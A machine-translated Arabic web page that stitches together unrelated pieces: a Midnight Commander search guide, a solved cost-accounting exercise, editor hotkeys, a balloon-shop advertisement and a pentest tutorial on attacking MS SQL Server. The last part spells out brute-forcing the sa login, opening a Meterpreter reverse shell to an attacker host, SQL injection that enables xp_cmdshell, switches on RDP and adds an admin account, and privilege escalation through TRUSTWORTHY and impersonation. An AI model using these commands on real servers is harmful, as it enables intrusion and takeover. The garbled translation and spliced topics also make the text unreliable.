طرق وأدوات اختراق قواعد بيانات MS SQL. بالونات من "ام اف بويسك"

عند استخدام جاهز منتجات البرمجيات, على سبيل المثال CMS جملة، غالبًا ما يتعين عليك التعامل مع حقيقة ظهور بعض رسائل الخطأ أو التحذيرات في نتائج البرنامج ، ولكن لا معلومات مفصلةأين يقع هذا الجزء من الكود. في هذه الحالات ، أسهل طريقة هي استخدام البحث عن الملفات في قائد منتصف الليلعن طريق السطر. دعونا نرى كيف نفعل ذلك.

عادةً ما يكون الموقع التقريبي للملف الذي يحتوي على جزء الكود المطلوب معروفًا. لذلك ، أولاً وقبل كل شيء ، دعنا ننتقل إلى الدليل الذي يمكن أن يوجد فيه هذا الملف.

في قائمة السياقفي الميدان " تبدأ في:» ( من الكتالوج ) دعنا نترك النقطة: نحن بالفعل في الدليل المقصود الذي يحتوي على الملف الذي نبحث عنه. ولكن عن طريق تحديد الخيار تيري "( دشجرة) ، يمكنك تحديد دليل آخر للبحث فيه.

حقل السياق "Ena ب le ignore الدلائل "( وتجاهل الدلائل) فارغًا إذا كنت لا تريد استبعاد أي أدلة معروفة من البحث لتضييق نطاق البحث.

في الميدان " اسم الملف» ( قالب الاسم ) يجب إدخال اسم ملف أو نمط اسم ملف. يستخدم النموذج ? لأي شخصية أو * لأي عدد من أي حرف. إذا كنا لا نعرف أي شيء عن الاسم أو امتداد الملف ، فلا تتردد في الدخول *.* .

اختياريا حدد:

  • « Fبشكل متكرر "( تجد ري لبشكل خاطف)
  • « يوغناء أنماط القوقعة "( مالأحرف الأولية قذيفة)
  • "كاس هحساس" ( فيحتى القضية)
  • « أجميع الأحرف "( فيكل الترميزات)
  • ك IP مخفي "( تخطي SC سانت البريد)

في الميدان " محتوى» ( محتوى ) ندخل السطر الذي سيتعين على Midnight Commander العثور عليه في جميع الملفات التي يواجهها.

اختياريا حدد:

  • بحر ص ch للمحتوى "( البحث بالمحتوى وإيمومو) ← هذا الخيار مطلوب لبحث سلسلة
  • "يكرر زتعبير أولي "( ص تعبير عادي)
  • إحساس الحالة أنا tive "( المحاسبة عن إعادة جياسترا)
  • ل lcharsets "( شمس هترميزات)
  • « دبليوكلمات حفرة "( معالصيد كله)
  • "التنوب سر ضرب "( قبل الأول Xملابس)

نبدأ البحث " اك" ( د إضافي) ، توقف بـ " جأنسل "( ص استراحة).

بعد تشغيل البرنامج عبر جميع الملفات ، سيعرضها كقائمة من الدلائل التي تحتوي على ملفات متطابقة + الملفات نفسها بأرقام الأسطر التي تم العثور فيها على تطابق مع عبارة البحث.

بشكل عام ، برنامج مفيد للغاية عند البحث عن ما تعرفه ، ولكن لا تعرف أين تبحث على وجه التحديد. :)

يوضح الجدول اعتماد التكاليف الإجمالية للمؤسسة على الإنتاج. احسب التكاليف: ثابت ، متغير ، متوسط ​​إجمالي ، متوسط ​​ثابت ، متوسط ​​متغير. في الجدول ، املأ الأعمدة FC و VC و MC و ATC و AFC و AVC:

إجمالي التكاليف ، TC ، ص.FCVCMCATCAVCايه اف سي
0 60
1 130
2 180
3 230
4 300

حل:

سعر ثابت ( تكلفة ثابتة) هي تلك التكاليف التي لا تعتمد على حجم المنتجات أو الخدمات المنتجة. بغض النظر عن مقدار إنتاج الشركة لمنتج ما ، فإن قيمة التكاليف الثابتة لا تتغير. حتى لو لم تنتج الشركة وحدة إنتاج واحدة ، فإنها تتحمل تكاليف ، على سبيل المثال ، يمكن أن تكون استئجار غرفة ، أو دفع تكاليف التدفئة ، أو سداد قرض ، وما إلى ذلك.

وبالتالي ، فإن FC لأي حجم إنتاج سيكون مساوياً لـ 60 روبل.

اسعار متغيرة ( اسعار متغيرة) هي التكاليف التي تتغير مع التغيرات في حجم المنتجات أو الخدمات. جنبا إلى جنب مع التكاليف الثابتة ، فهي تساوي قيمة التكاليف الإجمالية ( إجمالي التكاليف):

TC = FC + VC.

من هنا:

VC = TC - FC

VC (0) = 60-60 = 0 ،

VC (1) = 130-60 = 70 ،

VC (2) = 180-60 = 120 ،

VC (3) = 230-60 = 170 ،

VC (4) = 300-60 = 240.

التكلفة الحدية ( التكلفة الحدية) هي الزيادة في التكاليف المرتبطة بتحرير وحدة إضافية من الإنتاج.

MC = ∆TC / ∆Q

نظرًا لأن الزيادة في الناتج في هذه المشكلة تساوي دائمًا 1 ، يمكننا إعادة كتابة هذه الصيغة على النحو التالي:

MC = ∆TC / 1 = ∆TC

MC (1) = TC (1) - TC (0) = 130-60 = 70 ،

MC (2) = TC (2) - TC (1) = 180-130 = 50 ،

MC (3) = TC (3) - TC (2) = 230-180 = 50 ،

MC (4) = TC (4) - TC (3) = 300-230 = 70.

متوسط ​​التكاليف الإجمالية ( متوسط ​​التكاليف الإجمالية) هي تكلفة إنتاج وحدة إنتاج واحدة.

ATC = TC / Q

ATC (1) = TC (1) / 1 = 130/1 = 130 ،

ATC (2) = TC (2) / 2 = 180/2 = 90 ،

ATC (3) = TC (3) / 3 = 230/3 = 76.67 ،

ATC (4) = TC (4) / 4 = 300/4 = 75.

متوسط ​​التكاليف الثابتة ( متوسط ​​التكاليف الثابتة) هي التكلفة الثابتة لكل وحدة إنتاج.

AFC = FC / Q

AFC (1) = FC (1) / 1 = 60/1 = 60 ،

AFC (2) = FC (2) / 2 = 60/2 = 30 ،

AFC (3) = FC (3) / 3 = 60/3 = 20 ،

AFC (4) = FC (4) / 4 = 60/4 = 15.

متوسط ​​التكاليف المتغيرة ( متوسط ​​التكاليف المتغيرة) هي التكلفة المتغيرة لإنتاج وحدة إنتاج واحدة.

AVC = VC / Q

AVC (1) = VC (1) / 1 = 70/1 = 70 ،

AVC (2) = VC (2) / 2 = 120/2 = 60 ،

AVC (3) = VC (3) / 3 = 170/3 = 56.67 ،

AVC (4) = VC (4) / 4 = 240/4 = 60.

من خلال معرفة ATC و AFC ، يمكن أيضًا العثور على متوسط ​​التكاليف المتغيرة على أنها الفرق بين متوسط ​​إجمالي ومتوسط ​​التكاليف الثابتة:

AVC = ATC-AFC

املأ الفجوات في الجدول:

العدد لكل وحدة زمنية ، س ، قطعة.إجمالي التكاليف ، TC ، ص.FCVCMCATCAVCايه اف سي
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

عام

Ctrl + x، j - إظهار مهام الخلفية

Ctrl-X + A - VFS الحالي (بروتوكول نقل الملفات ، إلخ)

ESC + رقم - نفس F (رقم) (ESC + 5 = F5)

F1-F12

F3 - عرض الملف

F3 - (أثناء التحرير) بدء تحديد النص. سيؤدي الضغط على F3 مرة أخرى إلى إنهاء التحديد

F4 - تحرير الملف

F5 - نسخ التحديد

F6 - نقل التحديد

F8 - حذف التحديد

Shift + F1 - لاستدعاء قائمة الانتقال السريع بين نقاط التحميل على اللوحة اليسرى

Shift + F2 - لاستدعاء قائمة الانتقال السريع بين نقاط التحميل على اللوحة اليمنى

Shift + F5 - انسخ الملف إلى نفس الدليل

Shift + F6 - نقل / إعادة تسمية الملف إلى نفس الدليل

يبحث

السيطرة- s- بحث سريعملف أو دليل

بديل التحول؟ - يتم استدعاء قائمة البحث المتقدم عن الملفات

سطر الأوامر

ctrl-a - المؤشر إلى البداية

ctrl-e - المؤشر حتى النهاية

خروج-! - تنفيذ الأمر مع المعلمات

ctrl-x أو p أو alt + a - الصق اسم الدليل

esc ، أدخل ؛ ctrl-enter - إرسال الكائن الحالي إلى سطر الأوامر

ctrl-x، t - الصق جميع الكائنات المحددة في سطر الأوامر

esc ، علامة تبويب - إكمال الأمر

بديل أ - الصق الدليل الحالي في سطر الأوامر

Alt-TAB (ESC + TAB) - أفضل تركيبة للعثور على الملفات القابلة للتنزيل (على سبيل المثال ، نسيت كيفية تهجئة netcfg أو netconfig. فقط اكتب net في سطر الأوامر واضغط على Alt-TAB - سيظهر لك على الفور ما يمكنك تشغيل الذي يبدأ بكلمات net) اضغط مرتين!
البديل-! - إخراج نتيجة الأمر
ctrl-shift-v - لصق من الحافظة

عمليات على الملفات

Shift + F4 - إنشاء ملف جديد

shift-f6 - إعادة تسمية الملف

ctrl + x ، ط نظرة سريعةمعلومات حول الكائن الحالي في اللوحة الثانية

Ctrl + x، q - عرض سريع لمحتويات الملف في اللوحة الثانية

بديل. - أظهر الملفات المخفية

ctrl-x، c - أذونات الملف

ctrl-x ، o - مالك الملف

Shift-F3 - عرض الملف (خام / دون النظر إلى الامتداد)

Ctrl + x v - إنشاء ارتباط رمزي نسبي

trl + x ، Ctrl + s - تحرير ارتباط رمزي

ctrl-t - وضع علامة على ملف أو إلغاء تحديده

+ - حدد (وضع علامة) على مجموعة من الملفات بالتعبير العادي

\ - قم بإلغاء تحديد مجموعة من الملفات

ctrl-x ، ctrl-d - مقارنة الملفات

ctrl-t أو Insert - حدد الكائن الحالي

العمل مع الدلائل

alt-o - افتح الدليل أسفل المؤشر في اللوحة المجاورة

alt-i - افتح الدليل الحالي في اللوحة المجاورة

trl- \ - إظهار "دليل الدليل"

alt-shift-h - إظهار سجل الدليل

Ctrl + l - إعادة رسم الشاشة

Ctrl + Space - إظهار حجم الدليل الحالي

Ctrl-X + D - مقارنة الدلائل

ESC + C - تغيير الدليل بسرعة

بديل ج - نافذة "دليل التغيير السريع"

العمل مع اللوحات

Ctrl-O - قم بإيقاف تشغيل اللوحات وشاهد ما يوجد تحتها (يعمل فقط في لينكس!) هنا يمكنك العمل في الغلاف.

بديل ، - وضع عرض لوحة التبديل (عموديًا / أفقيًا)

alt-t تبديل وضع عرض اللوحة التفصيلية

Meta + c - تسمى القائمة الخاصة بالتغيير السريع للدليل الحالي على اللوحة النشطة

ctrl-u - لوحات التبديل

alt-g - يحدد الملف أو الدليل الأول في القائمة المعروضة على اللوحة (مثل مفتاح Home ، يرفع المؤشر لأعلى)

alt-e - تغيير ترميز اللوحة

Ctrl + x i - يضع اللوحة المنفعلة في وضع "المعلومات"

Ctrl + x q - يضع اللوحة المنفعلة في وضع العرض السريع

السيطرة x! - القائمة → "معيار الألواح" (بوابة)

قصة

بديل + ح ؛ esc ، h - سجل سطر الأوامر

alt-p ، alt-n - إرجاع سطر (أسطر) الأوامر السابقة (التالية)

بديل ذ. الانتقال إلى الدليل السابق من سجل تصفح الدليل ؛ يعادل النقر على الرمز "<‘ в верхнем углу панели.

بديل ش. الانتقال إلى الدليل التالي من سجل تصفح الدليل ؛ يعادل النقر على رمز ">" بالماوس.

محرر

F4 (في المحرر) - ​​البحث والاستبدال

F6 (في المحرر) - ​​ابحث باستخدام التعبير العادي

Shift-Del (في المحرر) - ​​حذف الكتلة (ووضعها في الحافظة)

Shift-Ins (في المحرر) - ​​لصق كتلة من الحافظة (يعمل حتى في وحدة تحكم أخرى !!!) يمكنك تحرير ملفين أو أكثر على وحدات تحكم مختلفة ونقل الكتل بينهما.

Shift + F3 - ابدأ في تحديد كتلة نصية. سيؤدي الضغط على F3 مرة أخرى إلى إنهاء التحديد

Shift + F5 - لصق النص من الحافظة الداخلية لـ MC (قراءة الملف الخارجي)

Meta + i - تبديل وضع "المحاذاة التلقائية لإرجاع الحرف" ، يكون مفيدًا عند لصق نص منسق من الحافظة

Meta + l - الانتقال إلى السطر برقم السطر

Meta + q - أدخل حرفًا حرفيًا (حرف غير قابل للطباعة). الجدول أدناه

Meta + t - فرز سطور النص المحدد

Meta + u - تنفيذ أمر خارجي ولصق مخرجاته في الموضع الموجود أسفل المؤشر

Ctrl + f - إحضار الجزء المحدد إلى الحافظة الداخلية mc (الكتابة إلى ملف خارجي)

Ctrl + k - حذف جزء من السطر حتى نهاية السطر

Ctrl + n - إنشاء ملف جديد

Ctrl + s - تشغيل تمييز بناء الجملة أو إيقاف تشغيله

Ctrl + t - حدد ترميز النص

Ctrl + u - تراجع عن الإجراءات

Ctrl + x - انتقل إلى نهاية التالي

Ctrl + y - حذف السطر

Ctrl + z - انتقل إلى بداية الكلمة السابقة

Meta + Enter - مربع حوار للانتقال إلى تعريف دالة

Meta + - - العودة بعد القفز إلى تعريف دالة

Meta ++ - انتقل إلى تعريف الوظيفة

Meta + n - تمكين / تعطيل عرض أرقام الأسطر

علامة تبويب ينقل النص المحدد إلى اليمين إذا كان خيار الكتل المستمرة معطلاً

Meta-tab ينقل النص المحدد إلى اليسار إذا كان خيار Persistent Blocks معطلاً

Shift + الأسهم حدد النص

Meta + الأسهم حدد المربع الرأسي

Meta + Shift + - تبديل وضع عرض علامات التبويب والمسافات

Meta + Shift ++ تبديل الوضع "محاذاة إرجاع تلقائية للسطر"

تنظيم عطلة مهمة صعبة. هناك الكثير من الأشياء التي يجب التفكير فيها والعناية بها. تبسط شركة MF Poisk إحدى المهام - الديكور. لقد جمعناها كتالوج السلع للعطلةالذي يحتوي على العديد من وسائل التصميم الزخرفي للأماكن والأشياء الصغيرة المفيدة لإقامة الاحتفالات.

كتالوج السلع للعطلة: تجميع قائمة التسوق

يمكن تسمية كتالوج بحث MF بقائمة تسوق جاهزة. لديها هيكل مناسب ومفصل. يمكنك الشراء منا:

  • أدوات الزفاف. شرائط ، قصاصات ورق ، أقفال ، ديكور للقاعة والسيارة وأكثر من ذلك بكثير.
  • كل شيء للكرنفال. ستجد في هذا القسم الملحقات الضرورية لحفلة تنكرية ، كرنفال رأس السنة الجديدة ، عيد الهالوين ، عيد ميلاد تحت عنوان ، إلخ.
  • أدوات المائدة المتاح. لا يتم دائمًا إعداد الطاولة بالخزف والسيراميك. على سبيل المثال ، لتقديم طاولة أطفال أو للاحتفال بعيد ميلاد في المكتب ، من الأنسب استخدام الأطباق والأكواب الورقية.
  • ألعاب الحفلات وفقاعات الصابون. حتى لا يشعر الأطفال بالملل في العطلة ، عليك الاهتمام بوقت فراغهم مسبقًا. يا لها من نتيجة! لقد جمعنا كل الأدوات الضرورية ، عليك فقط أن تجد فائدة لها.
  • الزعانف والماسات. سيجعلون العطلة مشرقة ولا تُنسى.
  • شموع. تزيين كعكة ، وقضاء أمسية رومانسية ، ومفاجأة - هناك مجموعة من الشموع لكل مناسبة.

بالونات من "ام اف بويسك"

MF Poisk هي أكبر مورد للبالونات. نحن نتعاون مع الشركات المصنعة من الولايات المتحدة الأمريكية وإسبانيا والمكسيك. نحن نقدم شهادات الجودة ونوفر مجموعة كاملة من البالونات حتى تتمكن من إنشاء تكوين فريد خاص بك لكل حدث. يمكن تقسيم جميع البالونات الموجودة في الكتالوج الخاص بنا إلى مادة اللاتكس والرقائق المعدنية.

  • مطاط. يمكن اختيارها حسب اللون والحجم والشكل والموضوع. نبيع البالونات بنمط أو بدونها ، كما نقدم خدمة تطبيق الشعار. بالإضافة إلى الخيارات الكلاسيكية ، نقدم أيضًا خيارات غير عادية - كرات اللكمات ، والوصلات ، والكرات المتعرجة والنمذجة.
  • رقائق. هناك أيضًا الكثير للاختيار من بينها: المشي ، الكبير ، الصغير ، في شكل أرقام. لسهولة الاختيار ، قمنا بفرز المنتجات حسب الموضوع ، يمكنك بسهولة الانتقال إلى القسم الذي يحتوي على منتجات لحفلات الزفاف وأعياد الميلاد والسنة الجديدة والمناسبات الخاصة الأخرى.

بشكل منفصل ، وضعنا ملحقات للكرات ، مثل العصي أو الأوزان. سيهتم المصممون بالقسم الذي يحتوي على معدات - اسطوانات الهليوم والمضخات وحبر الطباعة.

لماذا تختار MF Search؟

  • أكبر كتالوج الكرات.
  • شهادات الجودة العامة.
  • الحد الأدنى لمبلغ الطلب متاح لكل مشتر ، بغض النظر عن نطاق الحدث.
  • جميع لوازم العطلات في مكان واحد.
  • خصومات على الجملة الكبيرة.

نحاول أن نجعل إقامتك في الموقع مريحة ، لذلك أنشأناها أقسام منفصلةمع المنتجات الجديدة والأكثر مبيعًا بالإضافة إلى إعلانات "قريبًا". معنا سوف تتأكد من أنه من السهل ترتيب عطلة!

لا يكتمل أي اختبار خبيث جاد تقريبًا دون التحقق من نظام إدارة قواعد البيانات ، لأنه أحد أكثر الأبواب شيوعًا للمهاجمين للوصول إلى المعلومات والآلة المطلوبة. في المشاريع الكبيرة ، غالبًا ما يستخدم MS كنظام DBMS. خادم قاعدة البيانات. واليوم سنتحدث عن فحص أمنها. لن نفتح أمريكا - الرفاق المتمرسون لن يقوموا إلا بتحديث معرفتهم ، ولكن بالنسبة لأولئك الذين بدأوا للتو في إتقان الموضوع ، حاولت تقسيم كل شيء بالتفصيل قدر الإمكان.

تحذير!

يتم توفير جميع المعلومات لأغراض إعلامية فقط. لا يتحمل المؤلف ولا المحررون أي مسؤولية عن أي ضرر محتمل ناتج عن مواد هذه المقالة.

مقدمة

أحد أهم معايير الموثوقية نظام معلومات- أمن نظم إدارة قواعد البيانات. تكون الهجمات الموجهة إليها خطيرة في معظم الحالات ، لأنها يمكن أن تؤدي إلى تعطيل أداء النظام جزئيًا أو كليًا. نظرًا لأن المؤسسات الكبيرة قد شكلت بنيتها التحتية منذ فترة طويلة وأن التحديث إلى إصدارات البرامج الجديدة يتسبب في حدوث مشكلات "كبيرة" بالنسبة لها ، فإن أكثر الإصدارات شيوعًا هي MS SQL Server 2005 و MS SQL Server 2008. ولكن هذه مجرد إحصائيات ، وسنقوم كذلك ضع في اعتبارك المتجهات والتقنيات الشائعة في جميع الإصدارات. للراحة ، سنقسم بشكل مشروط عملية pentest بأكملها إلى عدة مراحل.

كيف تجد MS SQL

أول شيء يبدأه الشخص البنتستر هو جمع المعلومات حول الخدمات الموجودة على خادم الضحية. أهم شيء يجب معرفته عند البحث عن Microsoft SQL Server هو أرقام المنافذ التي يستمع إليها. ويستمع إلى المنفذين 1433 (TCP) و 1434 (UDP). للتحقق مما إذا كان هناك MS SQL على خادم الضحية ، تحتاج إلى مسحه ضوئيًا. للقيام بذلك ، يمكنك استخدام Nmap مع البرنامج النصي ms-sql-info. سيبدأ الفحص على النحو التالي:

nmap -p 1433 - script = ms-sql-info 192.168.18.128

حسنًا ، تظهر نتيجة تنفيذه في الشكل. 1.

بالإضافة إلى Nmap ، هناك وحدة مسح ممتازة لـ Metasploit mssql_ping ، والتي تتيح لك أيضًا تحديد وجود MS SQL على الخادم المهاجم:

msf> استخدم auxilary / scanner / mssql / mssql_ping msf auxilary (mssql_ping)> قم بتعيين RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary (mssql_ping)> تشغيل

باستخدام أحد هذه الخيارات ، يمكنك تحديد ما إذا كان MS SQL مثبتًا على الخادم بسرعة ، وكذلك معرفة إصداره. بعد ذلك ، يمكنك المتابعة إلى المرحلة التالية.


القوة الغاشمة

لنفترض أننا وجدنا DBMS على الخادم. المهمة الآن هي الوصول إليها. وهنا تقابلنا العقبة الأولى في شكل المصادقة. بشكل عام ، يدعم MS SQL نوعين من المصادقة:

  1. مصادقة Windows - اتصال موثوق حيث يقبل SQL Server حساب مستخدم بافتراض أنه قد تمت مصادقته بالفعل في نظام التشغيل.
  2. الوضع المختلط - المصادقة باستخدام SQL Server + مصادقة Windows.

بشكل افتراضي ، يتم استخدام وضع المصادقة الأول ، ويتم تنشيط الوضع المختلط بشكل منفصل. في الممارسة العملية ، من الصعب إلى حد ما مقابلة قاعدة بدون الوضع المختلط - فهي أكثر مرونة.

بعض فوائد الوضع المختلط

  • يسمح لـ SQL Server بدعم التطبيقات القديمة ، بالإضافة إلى تطبيقات الجهات الخارجية التي تتطلب مصادقة SQL Server.
  • يسمح لـ SQL Server بدعم بيئات أنظمة التشغيل المتعددة حيث لا يقوم المستخدمون بالمصادقة على مجال Windows.
  • يسمح للمطورين برمجةقم بتوزيع تطبيقاتك من خلال تسلسل هرمي معقد للأذونات بناءً على عمليات تسجيل دخول SQL Server سابقة التجهيز والمعروفة.

عادة في هذه المرحلةليس لدينا وصول إلى شبكة الشركة ، وبالتالي لا يمكننا استخدام مصادقة Windows. لكننا وجدنا منفذ مفتوحباستخدام MS SQL ، مما يعني أننا نحاول اختراق حساب مسؤول sa ، وهو أمر قياسي للوضع المختلط. لأتمتة العملية ، نستخدم وحدة Metasploit mssql_login:

Msf> استخدم المساعد / الماسح / mssql / mssql_login msf auxiliary (mssql_login)> قم بتعيين RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf المساعد (mssql_login)> اضبط PASS_FILE /root/Desktop.16/pass.txt.104 1433 - MSSQL - بدء فحص المصادقة. [*] 172.16.2.104:1433 - فشل تسجيل الدخول: محطة العمل \ sa: admin (غير صحيح :) [*] 172.16.2.104:1433 - فشل تسجيل الدخول: WORKSTATION \ sa: qwerty (غير صحيح :) [*] 172.16.2.104:1433 - فشل تسجيل الدخول: WORKSTATION \ sa: toor (غير صحيح :) [+] 172.16.2.104:1433 - نجح تسجيل الدخول: WORKSTATION \ sa: root [*] تم مسح 1 من مضيف واحد (اكتمل 100٪) [*] تم تنفيذ الوحدة المساعدة

عظيم! تم العثور على كلمة المرور ، والآن يمكننا المتابعة إلى الخطوة التالية. ولكن ماذا لو لم يكن هناك حساب على الخادم؟ بعد ذلك ، سيتعين عليك إلغاء تسجيل الدخول أيضًا ، حيث سيكون من الضروري إخبار البرنامج النصي بملف آخر من مكان الحصول عليه منه:

مساعد msf (mssql_login)> تعيين USER_FILE /root/Desktop/user.txt

الحصول على قذيفة

إذا تمكنا من اختراق حساب sa ، فيمكننا تسجيل الدخول إلى قاعدة البيانات. علاوة على ذلك ، فإن النص بسيط - نقوم بتضمين إجراء مخزن يسمح لنا بتنفيذ الأوامر على مستوى نظام التشغيل ، وتحميل Meterpreter shell إلى الخادم. كتب الرجال الرائعون وحدة mssql_payload رائعة لـ Metasploit تعمل على أتمتة هذه العملية:

msf> استخدم استغلال / windows / mssql / mssql_payload msf استغلال (mssql_payload)> تعيين RHOST 172.16.2.104 msf استغلال (mssql_payload)> تعيين اسم المستخدم sa USERNAME => استغلال msf (mssql_payload)> تعيين PASSWORD> root PASSWORD mssql_payload)> اضبط نوافذ PAYLOAD / meterpreter / reverse_tcp PAYLOAD => windows / meterpreter / reverse_tcp) [*] تم فتح جلسة Meterpreter 1 (172.16.2.105:4444 -> 172.16.2.104:3987) في 2015-04-20 10:42: 52 -0500 متر>

تم إنشاء جلسة Meterpreter ، لديك الآن الوصول الكامل. يمكنك تفريغ تجزئة المسؤول ، والتقاط لقطات شاشة ، وإنشاء / حذف الملفات ، وتمكين / تعطيل الماوس أو لوحة المفاتيح ، وغير ذلك الكثير. ربما تكون هذه هي الصدفة الأكثر شيوعًا المستخدمة في اختبارات الاختراق. القائمة الكاملةأوامر Meterpreter يمكن أن تكون مختلس النظر.

ماذا تفعل إذا لم يتم تحطيم اسم المستخدم / كلمة المرور؟

لكن لا تملق نفسك ، لن ترضيك وحدة mssql_login غالبًا: نادرًا ما يترك المشرفون كلمة المرور الافتراضية. في هذه الحالة ، سيساعدنا حقن SQL في الحصول على الصدفة. تخيل نموذج HTML حيث يقوم المستخدم بإدخال رقم مقال واستعلام قاعدة بيانات بسيط ، وكلها تعمل ضمن حساب مسؤول sa:

$ strSQL = "SELECT * FROM. Where id = $ id"؛

لا يتم تصفية المتغير $ id بأي شكل من الأشكال ، مما يعني أنه من الممكن تنفيذ حقن SQL حيث سيتم تنفيذ أي طلب من حساب مسؤول sa. لتنفيذ الأوامر على مستوى نظام التشغيل ، يجب تمكين الإجراء المخزن xp_cmdshell ، والذي يتم تعطيله افتراضيًا. نحتاج إلى إرسال أربعة طلبات لتفعيله:

  1. EXEC sp_configure "إظهار الخيارات المتقدمة" ، 1 ؛
  2. إعادة تشكيل
  3. "exec sp_configure" xp_cmdshell "، 1 ؛
  4. إعادة التشكيل

يسمح لك الإجراء sp_configure system المخزن بعرض تكوين الخادم وتوثيقه وتعديله واستعادته. أسهل طريقة للوصول إلى الخادم هي تمكين RDP من خلال السجل ، وإنشاء مستخدم له حقوق المسؤول والاتصال.

تمكين RDP:

10 ؛ reg أضافه "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server" / v fDenyTSConnections / t REG_DWORD / d 0 / f

قم بإنشاء مستخدم:

10 ؛ exec master.dbo.xp_cmdshell "net user root toor / ADD"

نعطي الحقوق:

10 ؛ exec master.dbo.xp_cmdshell "جذر مسؤولي المجموعة المحلية / إضافة"

التصعيد امتياز. جدير بالثقة

في الحالة السابقة ، تم تقديم طلب قاعدة البيانات نيابة عن المسؤول ، وبالتالي كان من السهل جدًا تنفيذ أوامر نظام التشغيل. ولكن ماذا لو كان لدينا حساب مبتور لا يملك حقوق تمكين xp_cmdshell؟ في هذه الحالة ، ستساعدنا الإجراءات المخزنة وخاصية TRUSTWORTHY النشطة لقاعدة البيانات.

لكن لنبدأ من البداية. لمزيد من الوضوح لهذا المتجه ، سأصف المرحلة بأكملها في مرحلة تكوين قاعدة البيانات والحسابات. نخلق قاعدة جديدة YOLO: إنشاء قاعدة بيانات YOLO ؛ . إنشاء مستخدم جديد bob مع كلمة المرور marley: إنشاء تسجيل الدخول bob مع كلمة المرور = "marley"؛ تعيين المستخدم بوب كمالك لقاعدة بيانات YOLO:

استخدم YOLO ALTER LOGIN with default_database = ؛ إنشاء مستخدم من تسجيل الدخول ؛ EXEC sp_addrolemember ، ؛

ثم قمنا بتعيين خاصية TRUSTWORTHY ، التي تحدد ما إذا كان سيتم السماح لكائنات قاعدة البيانات هذه (طرق العرض ، الوظائف المعرفة من قبل المستخدم ، الإجراءات المخزنة) للوصول إلى الكائنات خارج قاعدة البيانات هذه في وضع الانتحال: ALTER DATABASE YOLO SET TRUSTWORTHY ON. قم بتسجيل الدخول إلى SQL Server باستخدام حساب bob: marley.

قم بإنشاء إجراء مخزن لتعيينه حسابامتيازات bob sysadmin:

استخدم YOLO GO ، أنشئ إجراءً sp_lvlup مع EXECUTE AS OWNER AS EXEC sp_addsrvrolemember "bob" ، "sysadmin" GO

لنتأكد من أنه ليس لدينا امتيازات مسؤول النظام قبل تنفيذ الإجراء المخزن:

حدد is_srvrolemember ("مسؤول النظام") النتيجة = 0

دعنا ننفذ الإجراء sp_lvlup المخزن الذي تم إنشاؤه أعلاه:

استخدم YOLO EXEC sp_lvlup

دعنا نتحقق من امتيازاتنا مرة أخرى:

حدد is_srvrolemember ("مسؤول النظام") النتيجة = 1

تم تصميم sp_lvlup ليعمل كمالك ، وهو في هذه الحالة حساب مسؤول sa. هذا ممكن لأن db_owner قد أنشأ إجراءً مخزنًا لقاعدة البيانات الخاصة به ، وتم تكوين قاعدة البيانات هذه بحيث يمكن الوثوق بها ، أي الخاصية TRUSTWORTHY = تشغيل. بدون هذه الخاصية ، لن يكون الإجراء قادرًا على التنفيذ بسبب نقص الامتيازات. خاصية TRUSTWORTHY المُفعَّلة ليست دائمًا أمرًا سيئًا. تبدأ المشاكل عندما لا يقلل المسؤولون من امتيازات مالكي قاعدة البيانات. نتيجة لذلك ، بعد تنفيذ إجراء sp_lvlup ، تم منح حساب bob امتيازات مسؤول النظام. لمعرفة القواعد التي تم تمكين الخاصية TRUSTWORTHY بها ، يمكنك استخدام الاستعلام التالي:

SELECT name، database_id، is_trustworthy_on FROM sys.databases

أو ، لأتمتة العملية بأكملها ، يمكنك استخدام وحدة Metasploit mssql_escalate_dbowner_sqli:

استخدم المساعد / admin / mssql / mssql_escalate_dbowner_sqli مجموعة rhost 172.16.2.104 مجموعة rport 80 مجموعة GET_PATH /login.asp؟id=1+and+1= ؛ - استغلال ... [+] 172.16.2.104:80 - نجاح! بوب الآن مسؤول نظام!

التصعيد امتياز. انتحال هوية المستخدم

المتجه التالي يسمى انتحال هوية المستخدم. تحتاج الإجراءات المخزنة أحيانًا إلى الوصول إلى موارد خارجية خارج قاعدة التطبيق. لتحقيق ذلك ، يستخدم المطورون امتياز IMPERSONATE ووظيفة EXECUTE AS لتنفيذ طلب نيابة عن حساب مختلف. هذه ليست ثغرة أمنية في حد ذاتها ، لكنها تكوين ضعيف يؤدي إلى تصعيد الامتيازات.

كما في المثال السابق ، سنبدأ في تحليل جوهر المتجه في مرحلة التكوين. بادئ ذي بدء ، نقوم بإنشاء أربعة حسابات:

إنشاء تسجيل دخول مستخدم 1 باستخدام كلمة المرور = "سر" ؛ إنشاء تسجيل دخول مستخدم 2 باستخدام كلمة المرور = "سر" ؛ إنشاء تسجيل دخول مستخدم 3 باستخدام كلمة المرور = "سر" ؛ إنشاء تسجيل دخول مستخدم 4 باستخدام كلمة المرور = "سر" ؛

ثم نعطي المستخدم امتيازات User1 لتنفيذ الطلبات نيابة عن sa و User2 و User3:

USEmaster. منح صريح عند تسجيل الدخول :: sa to؛ منح صريح عند تسجيل الدخول :: MyUser2 إلى ؛ منح صريح عند تسجيل الدخول :: MyUser3 إلى ؛ يذهب

نقوم بتسجيل الدخول إلى SQL Server ضمن حساب المستخدم 1 والتحقق مما إذا تم تطبيق امتيازات تنفيذ الاستعلامات من الحسابات الأخرى.

حدد اسم b.name المميز من sys.server_permissions a INNER JOIN sys.server_principals b في a.grantor_principal_id = b.principal_id حيث a.permission_name = "IMPERSONATE"

الآن دعنا نتحقق من الامتيازات الحالية:

حدد SYSTEM_USER SELECT IS_SRVROLEMEMBER ("مسؤول النظام") النتيجة = 0

حسنًا ، الحيلة نفسها الآن هي تنفيذ الطلب نيابة عن sa ، حيث أننا أعطينا الامتيازات لحساب المستخدم 1 لتنفيذ الطلبات نيابة عن sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ("sysadmin") النتيجة = 1

حسنًا ، يمكننا الآن تنفيذ الأوامر نيابة عن sa ، مما يعني أنه يمكننا تضمين الإجراء المخزن xp_cmdshell:

EXEC sp_configure "إظهار الخيارات المتقدمة" ، 1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell" ، 1 RECONFIGURE GO

معلومات

